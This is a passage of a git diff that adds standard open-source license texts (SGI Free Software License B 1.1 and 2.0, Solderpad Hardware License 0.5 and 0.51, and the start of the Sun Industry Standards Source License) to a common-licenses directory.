+
+http://oss.sgi.com/projects/FreeB
+
+Note that, as provided in the License, the Software is distributed on an "AS IS" basis, with ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.
+
+Original Code. The Original Code is: [name of software, version number, and release date], developed by Silicon Graphics, Inc. The Original Code is Copyright (c) [dates of first publication, as appearing in the Notice in the Original Code] Silicon Graphics, Inc. Copyright in any portions created by third parties is as indicated elsewhere herein. All Rights Reserved.
+
+Additional Notice Provisions: [such additional provisions, if any, as appear in the Notice in the Original Code under the heading "Additional Notice Provisions"]
diff --git a/meta/files/common-licenses/SGI-B-1.1 b/meta/files/common-licenses/SGI-B-1.1
new file mode 100644
index 0000000000..3f688177ef
--- /dev/null
+++ b/meta/files/common-licenses/SGI-B-1.1
@@ -0,0 +1,84 @@
+SGI FREE SOFTWARE LICENSE B
+(Version 1.1 02/22/2000)
+
+1. Definitions.
+
+ 1.1 "Additional Notice Provisions" means such additional provisions as appear in the Notice in Original Code under the heading "Additional Notice Provisions."
+
+ 1.2 "Covered Code" means the Original Code or Modifications, or any combination thereof.
+
+ 1.3 "Hardware" means any physical device that accepts input, processes input, stores the results of processing, and/or provides output.
+
+ 1.4 "Larger Work" means a work that combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.5 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.6 "License" means this document.
+
+ 1.7 "Licensed Patents" means patent claims Licensable by SGI that are infringed by the use or sale of Original Code or any Modifications provided by SGI, or any combination thereof.
+
+ 1.8 "Modifications" means any addition to or deletion from the substance or structure of the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+
+ A. Any addition to the contents of a file containing Original Code and/or addition to or deletion from the contents of a file containing previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.9 "Notice" means any notice in Original Code or Covered Code, as required by and in compliance with this License.
+
+ 1.10 "Original Code" means source code of computer software code that is described in the source code Notice required by Exhibit A as Original Code, and updates and error corrections specifically thereto.
+
+ 1.11 "Recipient" means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 8. For legal entities, "Recipient" includes any entity that controls, is controlled by, or is under common control with Recipient. For purposes of this definition, "control" of an entity means (a) the power, direct or indirect, to direct or manage such entity, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+ 1.12 "Recipient Patents" means patent claims Licensable by a Recipient that are infringed by the use or sale of Original Code or any Modifications provided by SGI, or any combination thereof.
+
+ 1.13 "SGI" means Silicon Graphics, Inc.
+
+ 1.14 "SGI Patents" means patent claims Licensable by SGI other than the Licensed Patents.
+
+2. License Grant and Restrictions.
+
+ 2.1 SGI License Grant. Subject to the terms of this License and any third party intellectual property claims, for the duration of intellectual property protections inherent in the Original Code, SGI hereby grants Recipient a worldwide, royalty-free, non-exclusive license, to do the following: (i) under copyrights Licensable by SGI, to reproduce, distribute, create derivative works from, and, to the extent applicable, display and perform the Original Code and/or any Modifications provided by SGI alone and/or as part of a Larger Work; and (ii) under any Licensable Patents, to make, have made, use, sell, offer for sale, import and/or otherwise transfer the Original Code and/or any Modifications provided by SGI. Recipient accepts the terms and conditions of this License by undertaking any of the aforementioned actions. The patent license shall apply to the Covered Code if, at the time any related Modification is added, such addition of the Modification causes such combination to be covered by the Licensed Patents. The patent license in Section 2.1(ii) shall not apply to any other combinations that include the Modification. No patent license is provided under SGI Patents for infringements of SGI Patents by Modifications not provided by SGI or combinations of Original Code and Modifications not provided by SGI.
+
+ 2.2 Recipient License Grant. Subject to the terms of this License and any third party intellectual property claims, Recipient hereby grants SGI and any other Recipients a worldwide, royalty-free, non-exclusive license, under any Recipient Patents, to make, have made, use, sell, offer for sale, import and/or otherwise transfer the Original Code and/or any Modifications provided by SGI.
+
+ 2.3 No License For Hardware Implementations. The licenses granted in Section 2.1 and 2.2 are not applicable to implementation in Hardware of the algorithms embodied in the Original Code or any Modifications provided by SGI .
+
+3. Redistributions.
+
+ 3.1 Retention of Notice/Copy of License. The Notice set forth in Exhibit A, below, must be conspicuously retained or included in any and all redistributions of Covered Code. For distributions of the Covered Code in source code form, the Notice must appear in every file that can include a text comments field; in executable form, the Notice and a copy of this License must appear in related documentation or collateral where the Recipient’s rights relating to Covered Code are described. Any Additional Notice Provisions which actually appears in the Original Code must also be retained or included in any and all redistributions of Covered Code.
+
+ 3.2 Alternative License. Provided that Recipient is in compliance with the terms of this License, Recipient may, so long as without derogation of any of SGI’s rights in and to the Original Code, distribute the source code and/or executable version(s) of Covered Code under (1) this License; (2) a license identical to this License but for only such changes as are necessary in order to clarify Recipient’s role as licensor of Modifications; and/or (3) a license of Recipient’s choosing, containing terms different from this License, provided that the license terms include this Section 3 and Sections 4, 6, 7, 10, 12, and 13, which terms may not be modified or superseded by any other terms of such license. If Recipient elects to use any license other than this License, Recipient must make it absolutely clear that any of its terms which differ from this License are offered by Recipient alone, and not by SGI. It is emphasized that this License is a limited license, and, regardless of the license form employed by Recipient in accordance with this Section 3.2, Recipient may relicense only such rights, in Original Code and Modifications by SGI, as it has actually been granted by SGI in this License.
+
+ 3.3 Indemnity. Recipient hereby agrees to indemnify SGI for any liability incurred by SGI as a result of any such alternative license terms Recipient offers.
+
+4. Termination. This License and the rights granted hereunder will terminate automatically if Recipient breaches any term herein and fails to cure such breach within 30 days thereof. Any sublicense to the Covered Code that is properly granted shall survive any termination of this License, absent termination by the terms of such sublicense. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+5. No Trademark Or Other Rights. This License does not grant any rights to: (i) any software apart from the Covered Code, nor shall any other rights or licenses not expressly granted hereunder arise by implication, estoppel or otherwise with respect to the Covered Code; (ii) any trade name, trademark or service mark whatsoever, including without limitation any related right for purposes of endorsement or promotion of products derived from the Covered Code, without prior written permission of SGI; or (iii) any title to or ownership of the Original Code, which shall at all times remains with SGI. All rights in the Original Code not expressly granted under this License are reserved.
+
+6. Compliance with Laws; Non-Infringement. There are various worldwide laws, regulations, and executive orders applicable to dispositions of Covered Code, including without limitation export, re-export, and import control laws, regulations, and executive orders, of the U.S. government and other countries, and Recipient is reminded it is obliged to obey such laws, regulations, and executive orders. Recipient may not distribute Covered Code that (i) in any way infringes (directly or contributorily) any intellectual property rights of any kind of any other person or entity or (ii) breaches any representation or warranty, express, implied or statutory, to which, under any applicable law, it might be deemed to have been subject.
+
+7. Claims of Infringement. If Recipient learns of any third party claim that any disposition of Covered Code and/or functionality wholly or partially infringes the third party's intellectual property rights, Recipient will promptly notify SGI of such claim.
+
+8. Versions of the License. SGI may publish revised and/or new versions of the License from time to time, each with a distinguishing version number. Once Covered Code has been published under a particular version of the License, Recipient may, for the duration of the license, continue to use it under the terms of that version, or choose to use such Covered Code under the terms of any subsequent version published by SGI. Subject to the provisions of Sections 3 and 4 of this License, only SGI may modify the terms applicable to Covered Code created under this License.
+
+9. DISCLAIMER OF WARRANTY. COVERED CODE IS PROVIDED "AS IS." ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS ARE DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. SGI ASSUMES NO RISK AS TO THE QUALITY AND PERFORMANCE OF THE SOFTWARE. SHOULD THE SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, SGI ASSUMES NO COST OR LIABILITY FOR SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY IS AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT SUBJECT TO THIS DISCLAIMER.
+
+10. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES NOR LEGAL THEORY, WHETHER TORT (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE OR STRICT LIABILITY), CONTRACT, OR OTHERWISE, SHALL SGI OR ANY SGI LICENSOR BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, LOSS OF DATA, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SGI's NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO RECIPIENT.
+
+11. Indemnity. Recipient shall be solely responsible for damages arising, directly or indirectly, out of its utilization of rights under this License. Recipient will defend, indemnify and hold harmless Silicon Graphics, Inc. from and against any loss, liability, damages, costs or expenses (including the payment of reasonable attorneys fees) arising out of Recipient's use, modification, reproduction and distribution of the Covered Code or out of any representation or warranty made by Recipient.
+
+12. U.S. Government End Users. The Covered Code is a "commercial item" consisting of "commercial computer software" as such terms are defined in title 48 of the Code of Federal Regulations and all U.S. Government End Users acquire only the rights set forth in this License and are subject to the terms of this License.
+
+13. Miscellaneous. This License represents the complete agreement concerning the its subject matter. If any provision of this License is held to be unenforceable, such provision shall be reformed so as to achieve as nearly as possible the same legal and economic effect as the original provision and the remainder of this License will remain in effect. This License shall be governed by and construed in accordance with the laws of the United States and the State of California as applied to agreements entered into and to be performed entirely within California between California residents. Any litigation relating to this License shall be subject to the exclusive jurisdiction of the Federal Courts of the Northern District of California (or, absent subject matter jurisdiction in such courts, the courts of the State of California), with venue lying exclusively in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation that provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+Exhibit A
+
+License Applicability. Except to the extent portions of this file are made subject to an alternative license as permitted in the SGI Free Software License B, Version 1.1 (the "License"), the contents of this file are subject only to the provisions of the License. You may not use this file except in compliance with the License. You may obtain a copy of the License at Silicon Graphics, Inc., attn: Legal Services, 1600 Amphitheatre Parkway, Mountain View, CA 94043-1351, or at:
+
+http://oss.sgi.com/projects/FreeB
+
+Note that, as provided in the License, the Software is distributed on an "AS IS" basis, with ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.
+
+Original Code. The Original Code is: [name of software, version number, and release date], developed by Silicon Graphics, Inc. The Original Code is Copyright (c) [dates of first publication, as appearing in the Notice in the Original Code] Silicon Graphics, Inc. Copyright in any portions created by third parties is as indicated elsewhere herein. All Rights Reserved.
+
+Additional Notice Provisions: [such additional provisions, if any, as appear in the Notice in the Original Code under the heading "Additional Notice Provisions"]
diff --git a/meta/files/common-licenses/SGI-B-2.0 b/meta/files/common-licenses/SGI-B-2.0
new file mode 100644
index 0000000000..19a4a9e985
--- /dev/null
+++ b/meta/files/common-licenses/SGI-B-2.0
@@ -0,0 +1,12 @@
+SGI FREE SOFTWARE LICENSE B
+(Version 2.0, Sept. 18, 2008)
+
+Copyright (C) [dates of first publication] Silicon Graphics, Inc. All Rights Reserved.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice including the dates of first publication and either this permission notice or a reference to http://oss.sgi.com/projects/FreeB/ shall be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SILICON GRAPHICS, INC. BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of Silicon Graphics, Inc. shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from Silicon Graphics, Inc.
diff --git a/meta/files/common-licenses/SHL-0.5 b/meta/files/common-licenses/SHL-0.5
new file mode 100644
index 0000000000..52dee6fac4
--- /dev/null
+++ b/meta/files/common-licenses/SHL-0.5
@@ -0,0 +1,64 @@
+SOLDERPAD HARDWARE LICENSE version 0.5
+
+This license is based closely on the Apache License Version 2.0, but is not approved or endorsed by the Apache Foundation. A copy of the non-modified Apache License 2.0 can be found at http://www.apache.org/licenses/LICENSE-2.0.
+
+As this license is not currently OSI or FSF approved, the Licensor permits any Work licensed under this License, at the option of the Licensee, to be treated as licensed under the Apache License Version 2.0 (which is so approved).
+
+This License is licensed under the terms of this License and in particular clause 7 below (Disclaimer of Warranties) applies in relation to its use.
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
+
+"Licensor" shall mean the Rights owner or entity authorized by the Rights owner that is granting the License.
+
+"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
+
+“Rights” means copyright and any similar right including design right (whether registered or unregistered), semiconductor topography (mask) rights and database extraction rights (but excluding Patents and Trademarks).
+
+"Source" form shall mean the preferred form for making modifications, including but not limited to source code, net lists, board layouts, CAD files, documentation source, and configuration files.
+
+"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, the instantiation of a hardware design and conversions to other media types, including intermediate forms such as bytecodes, FPGA bitstreams, artwork and semiconductor topographies (mask works).
+
+"Work" shall mean the work of authorship, whether in Source form or other Object form, made available under the License, as indicated by a Rights notice that is included in or attached to the work (an example is provided in the Appendix below).
+
+"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) or physically connect to or interoperate with the interfaces of, the Work and Derivative Works thereof.
+
+"Contribution" shall mean any design or work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the Rights owner or by an individual or Legal Entity authorized to submit on behalf of the Rights owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the Rights owner as "Not a Contribution."
+
+"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
+
+2. Grant of License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable license under the Rights to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form and do anything in relation to the Work as if the Rights did not exist.
+
+3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
+
+You must give any other recipients of the Work or Derivative Works a copy of this License; and
+
+You must cause any modified files to carry prominent notices stating that You changed the files; and
+
+You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
+
+If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply this license to your work
+To apply this license to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
+
+Copyright [yyyy] [name of copyright owner] Copyright and related rights are licensed under the Solderpad Hardware License, Version 0.5 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://solderpad.org/licenses/SHL-0.5. Unless required by applicable law or agreed to in writing, software, hardware and materials distributed under this License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/SHL-0.51 b/meta/files/common-licenses/SHL-0.51
new file mode 100644
index 0000000000..548639d16e
--- /dev/null
+++ b/meta/files/common-licenses/SHL-0.51
@@ -0,0 +1,65 @@
+SOLDERPAD HARDWARE LICENSE version 0.51
+
+This license is based closely on the Apache License Version 2.0, but is not approved or endorsed by the Apache Foundation. A copy of the non-modified Apache License 2.0 can be found at http://www.apache.org/licenses/LICENSE-2.0.
+
+As this license is not currently OSI or FSF approved, the Licensor permits any Work licensed under this License, at the option of the Licensee, to be treated as licensed under the Apache License Version 2.0 (which is so approved).
+
+This License is licensed under the terms of this License and in particular clause 7 below (Disclaimer of Warranties) applies in relation to its use.
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
+
+"Licensor" shall mean the Rights owner or entity authorized by the Rights owner that is granting the License.
+
+"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
+
+"Rights" means copyright and any similar right including design right (whether registered or unregistered), semiconductor topography (mask) rights and database rights (but excluding Patents and Trademarks).
+
+"Source" form shall mean the preferred form for making modifications, including but not limited to source code, net lists, board layouts, CAD files, documentation source, and configuration files.
+
+"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, the instantiation of a hardware design and conversions to other media types, including intermediate forms such as bytecodes, FPGA bitstreams, artwork and semiconductor topographies (mask works).
+
+"Work" shall mean the work of authorship, whether in Source form or other Object form, made available under the License, as indicated by a Rights notice that is included in or attached to the work (an example is provided in the Appendix below).
+
+"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) or physically connect to or interoperate with the interfaces of, the Work and Derivative Works thereof.
+
+"Contribution" shall mean any design or work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the Rights owner or by an individual or Legal Entity authorized to submit on behalf of the Rights owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the Rights owner as "Not a Contribution."
+
+"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
+
+2. Grant of License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable license under the Rights to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form and do anything in relation to the Work as if the Rights did not exist.
+
+3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
+
+ 1. You must give any other recipients of the Work or Derivative Works a copy of this License; and
+
+ 2. You must cause any modified files to carry prominent notices stating that You changed the files; and
+
+ 3. You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
+
+ 4. If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply this license to your work
+
+To apply this license to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
+
+Copyright [yyyy] [name of copyright owner] Copyright and related rights are licensed under the Solderpad Hardware License, Version 0.51 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://solderpad.org/licenses/SHL-0.51. Unless required by applicable law or agreed to in writing, software, hardware and materials distributed under this License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/SISSL b/meta/files/common-licenses/SISSL
new file mode 100644
index 0000000000..7d6ad9d66c
--- /dev/null
+++ b/meta/files/common-licenses/SISSL
@@ -0,0 +1,116 @@
+Sun Industry Standards Source License - Version 1.1
+
+1.0 DEFINITIONS
+
+ 1.1 "Commercial Use" means distribution or otherwise making the Original Code available to a third party.
+
+ 1.2 "Contributor Version" means the combination of the Original Code, and the Modifications made by that particular Contributor.
+
+ 1.3 "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.4 "Executable" means Original Code in any form other than Source Code.
+
+ 1.5 "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.6 "Larger Work" means a work which combines Original Code or portions thereof with code not governed by the terms of this License.
+
+ 1.7 "License" means this document.
+
+ 1.8 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.9 "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. A Modification is:
+
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10 "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code.
+
+ 1.11 "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
